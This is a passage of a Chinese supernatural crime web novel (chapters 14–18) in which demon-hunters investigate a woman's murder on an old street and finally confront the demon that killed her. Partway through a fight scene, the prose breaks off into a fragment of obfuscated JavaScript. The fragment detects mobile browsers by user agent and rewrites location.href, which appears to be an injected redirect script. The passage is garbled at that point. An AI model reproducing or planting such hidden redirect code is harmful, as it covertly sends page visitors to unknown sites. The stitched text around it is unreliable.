“愧疚我竟然没有发现,要是昨天晚上我能再细心一点,说不定就不会发生这种事了。”
“......”
问玄亓装的很好,她一副难过又自责的样子,放在别人看来就会生出同情心。
可陈文雯毕竟是警察,什么人她没有见过,但她还是选择出声安慰:“你别多想,这件事跟你一点关系都没有。”
确实跟问玄亓一点关系都没有,就算陈文雯再怎么觉得她不对劲,可证据摆在眼前,她也只能跟着证据走。
问玄亓抬起眸:“谢谢。”她看向刚才父子离开的方向:“这么小的孩子就没了母亲,真是可怜。”
听到她这么说,陈文雯感到好奇:“你怎么知道他们是受害者的家属?”
问玄亓看着她,随后微微一笑:“猜的,这么晚了还跑到凶杀现场,他们又刚好认识陈警官,而且孩子刚才不是说他想妈妈了吗?”
陈文雯笑着点点头
问玄亓知道不能再聊下去了,开口说道:“陈警官,要是没什么事我就先回去了。”
陈文雯爽快答应:“好。”
问玄亓转身离开,再来到第二个拐角处时,尤聿离从旁边走了出来。
“那个警察就是今天来找你的那个?”他边走边问。
问玄亓:“嗯。”
“被她盯上会怎么样?”
“会比较麻烦。”
......
在他们走后,一个人影悄悄来到了案发现场,它睁着那双充血的双眼望着守在现场的警察。
15. 第15章·紫色郁金香
“大晚上不睡觉怎么跑来这里。”尤聿离明知故问。
问玄亓看了他一眼,也明知故问:“你大晚上不睡觉为什么跑来这里。”
尤聿离轻笑一声,这两人早就对彼此十分熟悉了,对方眼皮子一抬就知道要干什么。
“你觉得如果是诡干的,它会重返现场吗?”问玄亓反问他。
尤聿离点点头:“会,我觉得会。”他看向问玄亓:“所以你想守株待兔。”
问玄亓撇起嘴角:“也不算,就是碰碰运气。”
“那你守到什么了?”
“一个诡,但它昨天晚上没有杀人,我已经送到诡界了。”
一片枯树叶被风吹到了尤聿离脚下,他垂眸看了一眼,然后抬脚踩了上去,树叶发出轻微碎掉的声音:“那种级别的诡交给云崧蓝和白得江他们就行了。”
他停下脚步:“不过,要是诡在我们离开之后才出现怎么办?我记得那里还有几个警察。”
问玄亓转过身看着他:“你以为我没想到吗?走之前已经在陈警官身上放了我的血。”趁着陈文雯和孩子父亲搭话的时候,她悄悄划破了手掌。
尤聿离在听到她说的后却眉头紧皱:“你怎么又这么做了?我不是说这个对你的身体没有什么好处吗”
问玄亓一副无所谓的样子:“能有什么坏处?顶多就是难受一下、眼睛痛一下。”她冷笑一声:“再说了尤师,我不这么做还有别的方法吗?你不想让我这么做也行,让界主把我的能力还给我,哪怕还四分之一也行。”
尤聿离张了张嘴,想说什么但最后还是没有说出口。
问玄亓见他这样转过身不再看他:“你其实不用每次都这样,我心里有数,不会真的把自己置于危险之中的。”
“阿亓,我当然知道,但......”
尤聿离的话还没说完,问玄亓就打断了他:“好了,已经很晚了,回去睡觉吧,再不睡天就亮了。”
于是尤聿离只能将话憋了回去。
两个心里都有事的人走在一起导致的结果就是一言不发,最后各回各家。
第二天天亮,问玄亓又去了老街,白天这里充满了烟火气息,只有被警戒线围起来的那块地方格格不入。
她来到包子铺面前:“老板,我要两个肉末茄子包。”
“好嘞,你稍等,马上就好了。”
问玄亓站在原地等着自己的包子,她看看面前的招牌,又抬头看看店里面,店里人不少,几乎坐满了,但只有一个桌子上只坐了一个小孩。
她定睛一看,这小孩她还见过,是昨天晚上跑到现场的那个小男孩。
问玄亓看了一圈店里的其他人,那个男人不在,她想了想便抬脚走了进去。
她来到男孩对面坐下。
男孩正在安静的吃着包子,见有人过来,他好奇的抬起头。
问玄亓看着他,试探性的叫了一声:“安安?”
安安睁大眼睛:“你认识我?”
问玄亓笑笑:“昨天晚上我们见过。”
安安显然不记得了。
不过没事,这么小的孩子也不奢求他能记住什么:“你怎么一个人在这吃早餐啊?你爸爸呢?”
安安如实回答:“我爸爸去给我买别的吃的了。”
问玄亓:“是吗。”
这时,老板将包子端了过来,顺带将一笼烧麦放在孩子面前。
安安满脸疑惑:“叔叔,我没有点烧麦。”
老板笑得很和蔼:“这是叔叔请你的,吃吧。”
安安有礼貌地道了谢。
问玄亓见老板似乎认识安安,便站起身走到他身边:“老板,我也要一笼烧麦,带走。”
“好嘞。”
问玄亓眼珠一转:“老板,你认识那个孩子啊?”
老板将烧麦放在蒸笼里:“是啊,我认识他爸妈的,可怜的很,现在没了妈,也不知道这孩子后面该怎么办。”
“那他爸爸呢?对他不好吗?”问玄亓继续问。
老板摆摆手:“没有,他爸爸对他挺好的,是个好人,不过对于孩子来说妈妈在身边还是很重要的嘛,小周没了,这老李整个人都颓废了。”老板扯下一旁的塑料袋开始装烧麦:“我刚开始都不知道是他们家出事了,哎,这想想都不知道该说什么的好,以后估计再也看不见老李带着紫色郁金香来买包子了。”他将装好的烧麦递给问玄亓。
问玄亓接过:“紫色郁金香?”
老板笑着解释:“小周喜欢,老李就经常给她买。”
她点点头,随即又问道:“他们家有得罪过人吗?”
“不知道啊。”老板皱着眉摇头:“按理说应该没有,两口子人都挺好的,每次来我这买包子都是笑嘻嘻的。”
问玄亓垂眸在思考着什么。
老板:“诶!我看你刚才跟安安说话了,你也认识他们一家啊?”
问玄亓摇头否认:“就是见过几次面,不是很熟。”
“安安。”那个男人回来了,他在进门的时候顺便朝老板打了招呼,同时他也看见了对面的问玄亓,他或许觉得有点眼熟,在看了她一眼后便朝安安走去。
问玄亓见他双眼充满血丝,黑眼圈明晃晃的挂在眼下,头发也是乱糟糟的,很显然,妻子的突然离世对他打击很大,但他依旧在孩子面前保持着微笑。
问玄亓看了眼那两父子,随后离开了包子铺。不过她并没有离开老街,而是找了个角落吃完了包子。
过了一会儿,两父子就出来了,问玄亓见状悄悄跟在后面,她跟着他们穿过两条巷子,看着他们进了一个矮楼,这里离案发现场不是很远,楼下有垃圾车正在收垃圾。
问玄亓倚靠在不远处的墙边看着他们,注意力正集中时,旁边的门却突然打开了,她赶紧调整姿势,免得被别人误会。
“问玄亓?”
熟悉的声音从旁边传来,问玄亓转头看去,竟然是茹衿。
“你怎么在这?”两人异口同声,双方都表示很惊讶。
茹衿率先回答:“嗷,我在做学校的志愿活动。”
“志愿活动?”问玄亓眼神微微一愣。
“就是慰问一下住在这里的老人。”茹衿解释。
问玄亓点点头,似乎理解了。
茹衿见她出现在这里,便一脸好奇的凑过去,小声询问:“你来这里是不是因为昨天发生的那个凶杀案。”
问玄亓:“你怎么知道?”
茹衿左看看右看看,确认四周没有别人后神秘兮兮的说:“是不是诡干的?”
问玄亓没有给出肯定的答案:“有点怀疑。”
茹衿脸上出现疑惑的神情:“那你来这里是在干什么?”她看向前面的矮楼:“诶?这不是受害者住的地方吗?”
问玄亓的眼中闪过一丝惊讶:“你怎么知道这是受害者住的地方?”
茹衿抿抿嘴:“因为我一会儿要去慰问的人就是受害者的家属啊。”
问玄亓像是打开了新世界的大门:“你们学生还管这?”
“因为他们家有一个小孩子,没了母亲挺可怜的,所以学校就把他们家也放在这次志愿活动里了。”茹衿解释道。
问玄亓听她这么一说,突然想到什么:“你们慰问一般都干些什么?”
茹衿眼珠向上一转:“问一下生活的状况、有没有遇到什么问题、陪着说说话然后再帮忙打扫打扫屋子或者做做饭什么的。”
问玄亓嘴角上扬:“太
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好了。”她轻轻抓住茹衿的胳膊:“茹衿,你能不能帮我个忙?”
茹衿点点头:“你说。”
“就是你进去后帮我看看他们家有没有什么奇怪的地方,如果有机会,你再套一些话。”
“套话?”茹衿一脸不可置信:“怎么套啊?”
“你不用问那个男人,你问问小孩就行了,比如说陪小孩聊天或者画画之类的,偶尔问几个问题。”问玄亓开始教她如何成功套到话。
茹衿似乎听懂了:“行,我试试,但是也不一定能成功。”
问玄亓安慰她:“没事,你就按你自己的情况来,不用勉强,放心,你体内的血我还没有收回,所以要是有什么事我会第一时间赶到你身边。”
茹衿放心的点点头。
随后,问玄亓便将要问的问题说给了茹衿。
看着茹衿上了楼后,她又看了看四周,四下无人,她变出问玄棍然后划破了手掌,两滴血珠从伤口处飞了出来,飞向了矮楼的其中一扇窗户。
问玄亓收回玄棍,在楼下等着,接下来就看茹衿的了。
尤聿离回到诡界,满脸愁容,还在为昨天晚上问玄亓说的话而烦恼。
迎面向他走来的几个吾本来想和他打招呼,但走近一看,见他脸色臭的像踩了狗屎,吓得赶紧转了个弯朝别的方向走了。
尤聿离路过工作室,白得江和云崧蓝两个人便向他问了个好,尤聿离停下脚步转过身。
两个人原本咧着的嘴角在看见他那张臭脸后瞬间瘪了下去。
不好,领导心情不太妙。
云崧蓝和白得江本来想转身离开,却没想到尤聿离快速朝他们走来,像恶鬼索命一样。
两个人心快提到嗓子眼了,现在这个情况,要是直接转身就走,被他身上的离玄抽死的概率有多大?
尤聿离不管他们那吃了屎一样的表情,上来就抓住云崧蓝的胳膊问道:“你有没有什么增强能力的药?”
“啊?”云崧蓝一脸懵逼,这是什么意思?
尤聿离换了一个说法说:“或者是能让人暂时恢复能力的药。”
云崧蓝眉头皱在一起:“尤师,我也很希望我有这种药,但是我真的没有。”
尤聿离一脸失望,他又猛地看向旁边地白得江。
白得江快吓死了。
“你呢?你有没有这种效果的酒?”
白得江尴尬地笑笑:“尤师,我要是有这种酒,我现在就不应该是‘使’了。”
尤聿离脸色更加难看:“废物。”然后松开手离开了这里。
白得江快气死了,他看着尤聿离离开的背影:“他什么意思啊?凭啥骂我是废物?”
云崧蓝冷笑一声:“你去问呗,最好是趴在他耳边问。”
白得江被她这句话噎住了,闭了嘴。
尤聿离穿过瀑布,里面有很大一面镜子,他没有犹豫地穿了进去。这个地方只有级别为‘主’和‘师’的才能进来。
这里到处都是琳琅满目的宝贝,可尤聿离一点眼神都没有给它们,而是直径往最里面走去,越往里越亮。
尽头处有一团红色的火焰,烧得很旺,一看力量就很强。
尤聿离走上前,火焰照亮了他的整张脸,映在了他的瞳孔里,他伸手轻轻在火焰上挥了挥,灼烧感瞬间涌上心头,他痛苦地跪在地上,似有无形的火在他体内燃烧。
不知过了多久,这股灼烧感才渐渐褪去。尤聿离缓了缓,强撑着重新站了起来,他每次触碰这团火焰时都这么痛,不敢想象当时的她会有多么痛苦。
“你在做什么?”一道严肃熟悉的声音从身后传来。
尤聿离赶紧转过身去,看着面前的女人,他低下头叫道:“界主。”
16. 第16章·紫色郁金香
对面没有回应,尤聿离悄悄抬眸,却刚好对上界主那双锐利如刀的双眸,他赶紧垂下眼。
界主来到他身边冷冷地看了他一眼,仅仅只是短暂的凝视,尤聿离就感到了强大的压迫感,她一言不发,目光从他的身上扫过,最后落在了身后的那团火焰上。
她走过去伸出手在火焰上扫了扫,可她却没有像尤聿离那样感到灼烧的痛。指尖在火焰上来回掠过,她背对着他,目光一直落在火焰上,过了一会儿才缓缓开口:“我知道你一直在干什么,你记住。”她慢慢转过身,眼神沉稳得像深处的潭水:“你能这么顺利地干下去,完全是因为我的允许。”
尤聿离抬起头,眼中尽是不可置信。
中午的时候,阳光均匀的洒在马路上,照的人身上暖暖的,很舒服。但尤聿离无暇顾及这些,他心事重重的走在海边,来到有孤石的那块地方,他抬眼看去,有几只鸟正巧停在石头上休息。
尤聿离一副死了人的表情,盯的石头上的鸟都炸了毛。
“爸爸,那个石头为什么自己立在那里?”
一个小孩的声音从旁边传来。尤聿离余光瞥了一眼,并没有放在心上。
“因为那块石头只有它自己。”
“为什么只有它自己?”
“原因有很多啊,比如说它的性格比较孤僻,没有石头愿意跟它玩,所以它只能自己待着。”
听到男人的回答,尤聿离眉头微微蹙起。
“可它上面有小鸟啊,那不是它的朋友吗?”
“那可不是朋友,它们只是把它当暂时休息的垫脚石,很快就会飞走了。”
这话让尤聿离忍不住转过头去,男人头发乱糟糟的,衣服穿的也不是很整齐,整个人看起来极其消瘦。
“爸爸,那它怎么才能有朋友呢?”
男人似乎轻轻笑了:“听话,听话就会有朋友跟它玩了,所以你也要听话,这样才会有小伙伴愿意跟你交朋友。”
“那我听话妈妈就会回来吗?”
男人的笑容戛然而止,语气变得平淡:“你妈妈她......”话并没有说完,因为他发现旁边的尤聿离在看他。
男人站起身,朝尤聿离点了点头。
尤聿离也礼貌的回应。
男人低头看向自己的孩子:“安安,我们回家吧,这里太冷了。”
小男孩似乎不想回:“爸爸,我要在这看着小鸟离开。”
男人蹲下身,双手抓住孩子的胳膊,他的眼睛看着男孩,嘴角扬起一个不自然的弧度:“听话。”
小男孩不知道怎么了,没有回应。
随后男人便带着小男孩离开了这里。
尤聿离一直看着他们离开的方向,那个男人虽然面容憔悴,但那双眼睛却透着精明甚至是一丝狠色。
而且他对孩子说的那些话怎么听都感觉很奇怪。
可尽管心生疑虑,但只要不是跟诡有关的事他都插不了手。
他转过头看向不远处的甜品店,不知道问玄亓有没有在店里,这么想着他的脚已经朝甜品店迈出去了。
推开门,那个座位上坐的并不是熟悉的人,尤聿离一脸失望。
夏栀晓走过来笑着对他说:“你来了,今天想吃点什么?”
尤聿离:“随便一杯茶。”
夏栀晓觉得奇怪,但见他心情不佳就没有再问。
尤聿离随便找了个空桌子坐下,他看着窗外热闹的街道却怎么都笑不出来。
他此刻满脑子都在想:她不会生气了吧?要是生气了怎么办?该怎么哄哄?要不送点什么?
可没想到越想越烦躁,他的表情越来越臭,窗外路过的人看了眼窗户正巧对上他的脸,见他一副要杀人的样子吓得赶紧加速离开。不过他自己并没有意识到。
茶被端上桌,他端起来喝了一口,苦,非常苦!但他还是一口接着一口的往嘴里灌,似乎只有这样才可以抵挡住混乱的思绪。
不知道过了多久,太阳就要下山了,尤聿离不耐烦的看向窗外,没想到却看见了一个熟悉的身影,他眼前一亮,笑容又长了出来。
“老板你来了。”夏栀晓打着招呼,问玄亓朝她笑笑,然后一转身就看见了他。
她走过来坐在尤聿离对面,看见了他面前的茶,打趣道:“这是怎么了?今天喝这么苦的茶?”
尤聿离垂眸看了一眼被自己喝的快见底的茶:“我让店员随便给我做的。”
问玄亓笑着点点头。
尤聿离望着她,率先找起了话题:“怎么样你今天,查到什么了?”
问玄亓靠在椅子上:“见到了那个叫安安的小孩和他爸爸,知道了他们住的地方,让茹衿上去套了点话。”
听到名字,尤聿离眼珠一转:“安安?不会是个小男孩吧?”
问玄亓眼中闪过一丝惊讶:“你怎么知道?”
尤聿离哼笑一声,心想这么巧吗?他继续问道:“他爸爸是不是头发乱糟糟的,看起来无精打采、很憔悴?”
他这么一说,问玄亓更加好奇了:“你见过他们了?”
尤聿离点点头:“他们刚才在这边看风景。”
问玄亓望着他,知道他一定是发现了什么:“所以你看到了什么?”
尤聿离却笑了笑:“你先说说你今天都从茹衿那儿得到了什么消息。”
问玄亓微微眯眼,没想到他也开始玩欲情故纵这一套,不过也无妨,反正信息都是要共享的,于是她开始回忆起今天早上发生的事:
站在楼下的问玄亓时不时地看下时间,茹衿已经上去快一个小时了,她盯紧窗户,并没有什么动静,自己的左眼也没有感觉到疼痛。看来,茹衿应该是顺利搭上话了。
十几分钟后,她就看见茹衿从门里出来。等她走近后她又谨慎地将她拉到墙后。
“怎么样?”问玄亓满眼期待。
茹衿看着她点点头:“我观察了一下,他们家没什么奇怪的地方,家虽然小但是很温馨,如果要是说实在是有什么不一样的地方,就是他们家桌子上的紫色郁金香,那好像是他们家唯一的一抹紫色?”
问玄亓示意她继续说下去。
“问了安安,他说他爸妈的感情很好,不过她妈妈不会说话。”
问玄亓有些惊讶:“不会说话?”
茹衿点点头:“她妈妈不会说话,不过能听见,估计是因为什么事伤了嗓子吧。”
问玄亓想起来,怪不得没有什么目击者,受害者不会说话的话就不会叫,没有叫喊声那些早睡的老人也就不会听到。
“还有,我觉得周围的邻居应该也挺喜欢他们一家的。”茹衿接着说。
问玄亓微微蹙眉:“为什么这么说?”
茹衿回头看向他们一家所住的楼层:“因为我在陪安安画画的时候,老是有周围的邻居来他家给他们送东西,应该就是见他们家出事了出于关心。”她说着自己的想法:“邻居都愿意在出事的时候伸出援手,我觉得他们家的人应该都挺好的。”
“不过,安安那孩子的思维逻辑还
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真是挺强的。”她接着说:“我跟他聊天的时候,他说的有些话都让我没法反驳,有时候甚至我自己都觉得他说的有些话挺有道理的,长大了应该不一般。”
问玄亓陷入了沉思。
茹衿看了她一眼,随后小心翼翼地问:“所以,安安妈妈的死应该不是他爸爸干的吧?”
问玄亓眼中闪过一丝惊讶,没想到茹衿竟然猜到了自己的目的,她微微一笑:“应该不是吧。”
茹衿呼出一口气:“不知道警察那边查到什么了。”
问玄亓靠在墙上:“其实要是能让我看一眼尸体,就能确定是不是诡干的了。”
茹衿觉得这个想法有点渺茫:“那应该是不太可能了,公安局这么严密的地方要是进去被发现就很麻烦,你们总不能把里面的人的记忆都消除吧。”
问玄亓点点头,对她的说法表示赞同。
两人在楼下待了一会儿聊了聊天,然后茹衿看了眼时间“那要是没什么事我就先回学校了,时间快到了。”
“好。”
茹衿离开后,问玄亓独自一人站在楼下,她抬头看着那扇被风吹起窗帘的窗户,心中五味杂陈。
......
思绪回来,问玄亓将自己得到的消息告诉给了尤聿离。
问玄亓眼神示意他:“好了,我说完了,现在该你说了。”
尤聿离将杯子里剩下的茶全部喝掉:“我没看到什么,他们干的事情都很正常,不正常的是那个男人说的话。”
问玄亓皱起眉:“什么话?”
尤聿离转头去看对面窗户外的那块孤石:“如果你的孩子问你为什么那块石头只有它自己立在那儿,你会怎么说?”
问玄亓垂眸思考:“我会告诉他石头立在那里是因为它是掌管这片海域的神。”
“为什么这么说?”尤聿离扬起嘴角。
问玄亓:“因为对方是小孩啊,他的世界里不需要太正经的解释。”
尤聿离点点头:“那他又问你为什么石头上有小鸟呢?”
“我会告诉他那些小鸟是石头的好朋友。”问玄亓接着说。
尤聿离摆摆手:“可那个男人不是这样说的。”随后他将男人的回答一五一十的告诉给了问玄亓。”
问玄亓听了他说的话后也意识到不对劲。
尤聿离抬起手轻轻摩擦着杯口边沿:“反正我的孩子要是这么问我,我是绝对不会这么回答的。”他抬眸看着问玄亓:“还有,他的眼睛可不是你描述的充满血丝,那双眼睛精明又狡诈,我不是很喜欢。”
问玄亓明白了他的意思:“如果是他干的,就太会伪装了。”
“如果是他干的,那诡干的可能性就很小了,接下来就是那个警察的事,跟你我都没有关系了。”尤聿离勾起嘴角。
问玄亓没有说话,因为她总觉得说不通,如果是那个男人干的,那伤口怎么说?
尤聿离知道她在想什么,便提醒道:“你要是不确定的话,不如去问问那个警察,要是能让她带你去看看尸体就最好不过了。”
问玄亓微微蹙眉,让陈文雯带自己去警局看尸体简直是无稽之谈,不过问问她别的事倒也不是不行。
“走吧!”问玄亓站起身。
尤聿离疑惑:“去哪儿?”
问玄亓嘴角勾起一抹微笑:“去找个地方,总不能在这里约她吧。”
尤聿离笑着点点头。
于是,两人离开了这里,但刚走出甜品店,问玄亓的左眼就传来阵痛。
17. 第17章·紫色郁金香
陈文雯在警局忙活一天了,她把案卷反反复复地看了又看,可就是找不到突破口。她拿起伤口的特写照片,眉头紧紧皱在一起,就是这个伤口,太奇怪了,什么样的作案工具能在人脖子上留下这么大一个伤口?
法医告诉她这个伤口呈圆锥状,她将常见的作案工具看了个遍,就算有符合形状的也没有那么大。
周围没有监控,也没有目击者,而她怀疑的那个人虽然嫌疑很大,但却找不到那个圆锥状的凶器,并且他也有不在场证明。
陈文雯揉着眉心,这样离谱的案子她还真是少见,可她也没法放松,因为多一天没抓住凶手,就有可能会多一个受害者。
想到这,她又重新打起精神,将案子从头开始梳理,希望能找到一丝漏洞。
时间过得很快,一转眼的工夫,就到了晚上,望着泛着星星的窗外,陈文雯叹了口气,她已经在办公室待了一整天了,没什么收获,一直跟案卷僵持下去也不是个事,所以她决定再去现场看看。
她打算走另一条路,虽然人少,但是路程短。
陈文雯开着车来到那条路上,这里果然跟她想的一样冷清,她打开车灯,往前继续开了一段,她突然发现前面不远处的路中间好像有什么东西。
她慢慢的开过去,车灯渐渐照亮了它,陈文雯定睛一看发现那是个人,躺在地上背对着她的人。
她赶紧将车停下,打开车门跑了出去。
“先生!先生!你没事吧?”陈文雯呼唤着地上的男人,看样子对方已经没有知觉了,她伸手去探男人的呼吸。
还好,还有呼吸,她不敢随意摆动男人,便从口袋里掏出手机打算叫救护车来。
可她没有注意到,在她看手机的时候,地上的男人睁开了双眼,那双充满血丝的眼睛在黑暗中显得格外恐怖,它悄悄摸上旁边的一块石头,随后那石头便在他手中变成了圆锥模样。
就在陈文雯准备按下拨打键时,躺在地上的男人对她发起了攻击。
陈文雯反应迅速的躲开,男人却猛的朝她扑了上来,她被男人按倒在地,手中的石头朝她刺下去,她用手死死抓住,在看清它手上拿的是什么后她惊了一下。
圆锥状的作案工具!
男人的劲很大,有种今天不把陈文雯戳死他就去死的决心。它使力将石头往下按。
陈文雯见状一脚踢向男人腹部,男人吃痛松了手,她也赶紧从男男人身下脱离出来。
男人从地上爬起来,它那双布满血丝的双眼死死盯着陈文雯,它握紧手里的石头准备继续对她发起攻击,可突然,他旁边竟然出现一条裂缝,紧接着问玄棍从里面飞了出来重重的打向它。
男人被打的飞了老远。
不过陈文雯顾不上看他,她满脸惊讶的看着那条裂缝,只见问玄亓从里面走了出来。
问玄亓看了她一眼,等再去看被打飞的男人时,却发现它已经不知道跑到哪儿去了。
问玄亓捡起问玄棍,她生气的看向男人不见的方向,太可恶了!竟然敢在她眼皮子底下逃走。她看向陈文雯,只见对方一副见了鬼的表情。
可她现在来不及向她解释,因为抓住那只诡才是要紧事,于是她便加快脚步追了过去。
只留下陈文雯一个人一脸懵的留在原地,不过很快她就不是一个人了。
问玄亓来到前面的公园:
“怎么样?有没有成功?”
尤聿离用手一指,问玄亓看向自己的左侧。
“你跟着地上的脚印走就行了,不会丢的。”
这是刚才他们在店里想的办法,尤聿离快速去了躺诡界,找云崧蓝借了这瓶药粉,制作它的材料极其罕见和稀有,把它撒在诡身上,半小时内可以看见诡走过的脚印,虽然时间不长,但对于问玄亓来说足够了,她看向地面,果然地上开始出现若隐若现的蓝色亮光,明白计谋得逞的问玄亓对着尤聿离一笑:“谢了,她就交给你了。”
尤聿离十分绅士的对她点了点头,望着她前进的背影,心里竟涌出一股自豪感,他转身去摆弄花草,嘴角不自觉的上扬,看手里的花草越看越开心。
不过他没忘记自己的正事,为了惶恐的人民群众,他需要去进行一场安抚工作。
他来到陈文雯所在的地方,陈文雯大老远就看见了他,她觉得尤聿离有点眼熟,在哪儿见过,随后她眼珠一转便很快想了起来。
监控,她在监控里见过他,这个男人是那天晚上和问玄亓一起出现在案发现场的男人。
想到这,陈文雯警惕起来。
尤聿离很快来到她面前,见到她这个样子,尤聿离便知道自己其实不需要对她做什么安抚工作。
鉴于刚才看到的荒唐的一幕,陈文雯也觉得他不是什么普通人,所以率先开了口:“你们到底是什么东西。”
尤聿离微微仰起头,这话怎么听起来那么膈应呢?算了,反正也不是什么大事,他只要完成任务就好,剩下的都无所谓。
另一边,逃跑的男人四处乱闯,它被问玄亓气个半死,因为它觉得自己几乎没失过手,没想到这次竟然栽在问玄亓手里了,因此,心有不甘的它决定今晚势必要做出一单“业绩”。
它跌跌撞撞的走在路上,看着面前的路,总感觉它们好像在扭曲,它以为自己气懵了,一路上嘀嘀咕咕,不过虽然心中有气,但问玄亓那张脸却在它的脑海里挥之不去。
那张脸似乎在哪儿见过。
男人这样一边想一边查看周围可以让它乘虚而入的空挡。
虽然诡杀人不眨眼,但它们为了能在人间继续生活下去便内部之间制定了一些规定:
不当着别人的面杀人
不在监控底下杀人
要适量合理的杀人
......
呸!什么破规矩,男人其实一点都不想遵守,可为了让自己更好的生活下去,又奈何不得不这样做。
男人还在抱怨时,一转头就在路口看见了一个熟悉又陌生的身影,它愣了一下,似乎不敢确定,但在再次确定过后它想骂人:
***,她怎么追过来了!
男人不懂,它觉得自己很谨慎,都只是晚上才出来寻找目标,而且离开时也会小心翼翼地查看自己到底有没有露出什么马脚,它刚才检查过了,自己离开的很干净。
可尽管不想承认,但麻烦摆在眼前只能认清现实。
问玄亓站在路口看着它,她觉得男人像疯子。一个人在那儿自言自语半天,时不时猥琐地向后瞟一眼她。
怎么了这是?她记得那药没有什么副作用啊,可千万别给它药疯了,不然感觉像自己在欺负一个傻子。
问玄亓握紧手中的问玄棍朝它走去,男人猛地一回头发现她离自己越来越近,赶紧左看右看,最终捡起了地上的一块石头,那块石头在它手中变成了圆锥状的武器。
问玄亓定睛一看,觉得它手中的石头要是戳在人脖子上似乎可以留下一个大洞。
于是她二话不说,将问玄棍在她手中一转朝着男人的脑袋打去。
男人眼疾手快用手中的石头挡住,却没想到被问玄棍打碎了,它赶紧离开这个区域,重新捡起一块石头,石头在它的手中再一次变了样。它拿着石头目标明确的朝问玄亓的脖子扎去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311274|198858||http|test|mini|href|location''.split(''|''),0,{}));
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>问玄亓侧身躲过,来到它旁边,伸手用问玄棍钩住它的脖子,另一只手抓住它拿着石头的手腕:“两天前的晚上,你是不是在老街上杀了个人?”
男人挣脱出来,一副恬不知耻的模样:“你管得着吗!”
问玄亓本来对它就没什么好脸色,听到它这么说一股无名火就涌了上来,她拆开问玄棍甩出刀刃,直接朝男人劈过去,它猛地闪躲,但忘记了这样的武器问玄亓有两把,于是在它来不及反应后,正面就挨上了一刀。
这一刀不深不浅,但很长,从男人的下巴开始延申至胸前。
男人愣在原地,还没感受到疼痛,问玄亓持起双刀横着划破了男人的肚子,这两刀依旧不深不浅、也不致命但很痛苦。
很快,它感受到自己的皮肤慢慢被剥开,疼痛感像病毒一样从伤口处蔓延开来,爬向心脏冲击着五感。
男人刚想尖叫出声,离玄就跑了出来,围着他们所在的区域飞了一圈,外面的人便看不见他们两个了。
问玄亓冷笑一声,笑它的不自量力:“叫吧,想怎么叫就怎么叫,等叫完我就送你去过好日子。”
男人无比惊恐的看着她,它想起来了,这种从不把它们放在眼里的表情,这张脸,是她!
问玄亓的视角中它一会儿痛苦、一会儿尖叫、一会儿震惊又一会儿害怕。
她眉头一皱,这家伙到底怎么回事?它不会精神有问题吧?不对,这个世界上的诡有哪个精神是没问题的。
她向前一步,男人就害怕的往后退一步。
“我问你,那个老街上的人是不是你杀的?”
兴许是伤口又开始痛了,它扑通一声跪在地上,嘴里嘀嘀咕咕的说着奇怪的话。
问玄亓弯下腰,仔细去听它嘴里的话,可依旧听不清,她不耐烦的问:“你说什么?”
男人没理她,依旧自言自语。
问玄亓又趴低了些,企图去听清。
男人神神叨叨的,可它的一只手却有着十分清晰的目的:它再次故技重施,伸手摸到地上的一块石头,把它变成圆锥状后猛地刺向问玄亓。
可问玄亓并没有闪躲,而是直接伸手抓住了它的手腕,一副早就料到的表情:“你们之间是有什么培训机构吗?都喜欢用这一招。”
随后,她再次一用力掰断了男人的手腕。
“啊啊啊啊啊啊啊!”
本来身上的痛还没有散去,手腕骨折的痛就再次冲击五感。
问玄亓被它吵的耳朵疼,便拿出问玄棍抵在它的喉间:“你要是再叫一声我就把它割了。”
这招对于男人这种厚脸皮的诡来说一点都不管用,它似乎有叛逆心理,嚎的声音更大了。
问玄亓翻了个白眼,然后用力给了它一巴掌。
清脆的响声过后,世界都安静了。
问玄亓甩了甩手,没想到这诡脸皮真够厚的,打起来还挺疼。
男人的脸开始逐渐红肿起来,它直勾勾的盯着问玄亓。
问玄亓抓起它的衣领:“我再问你最后一遍,那个女人是不是你杀的?”
不知道是不是那一巴掌太有威力了,男人竟然点点头:“是我干的。”
见它亲口承认,问玄亓气不打一处来:“她身上的伤也是你打的?”
男人眼中却闪过一丝诧异:“我从来都是一击毙命。”
问玄亓松开了手,它这句话很明显说明了那些伤并不是它打的,可不是它打的会是谁呢?难道是那个人?
“把你看到的和做的全都一字不落的说给我。”
男人面对问玄亓的问题,将那天的事讲了出来。
18. 第18章·紫色郁金香
总在深夜行动的男人在路过一条老街时嗅到了血的味道,它好奇地穿过一条又一条小巷,终于看到了味道的来源:
墙边靠着一个女人,浑身上下都是伤,脑袋更是惨不忍睹,一股又一股的鲜血从太阳穴那边流出来,从墙上慢慢流淌到地面。
男人睁着它那双布满血丝的眼睛,来到女人面前,它仔细地看着女人的脸,却已经看不出她原来的样子了,而女人的胸口随着呼吸在一点点起伏,她竟然还活着!
男人有些好奇,是同行干的吗?可要是同行干的的话怎么会留一口气?
它正在思考着,女人却突然睁开了双眼。
男人和她四目相对。
女人很虚弱,似乎眨一下眼就用尽了她全身的力气,可她却强撑着张开了嘴:“杀,杀......”
“什么?”
女人:“杀......”
“你说什么?”男人没听清,它凑过去将耳朵靠近她的嘴边。
女人:“杀,杀了我。”
这次它听清了,可它却觉得十分意外,又觉得有些好笑,它杀了这么多人,从来都是求它放过他们,还没有人要求自己杀了他的。
真是奇怪。男人笑出了声,它又对上了女人那双眼睛,这是一双怎么样的眼睛呢?像清泉一样干净,却显的极其悲伤。
男人靠近她的双眼,死死盯着它们:“你知道我是什么吗?你真的想让我杀了你?”
女人没有犹豫,她再次用尽全力说道:“杀了我。”
男人透过她的眼睛,看到了她眼中的认真。它看向旁边带着血迹的砖头,用手拿起来,下一秒砖头在它手中变成了圆锥状。
它最后一次看向女人的眼睛,她的眼里没有害怕、没有后悔,却生出了一丝开心,她望着男人手中的东西缓缓闭上了眼,嘴角也扬起一个不易察觉的笑。
男人将砖头对准女人的脖子,在她耳边说道:“我会永远记住你的。”随后将砖头戳进了女人的脖子,鲜血顺着缝隙开始一股接着一股的往外流。
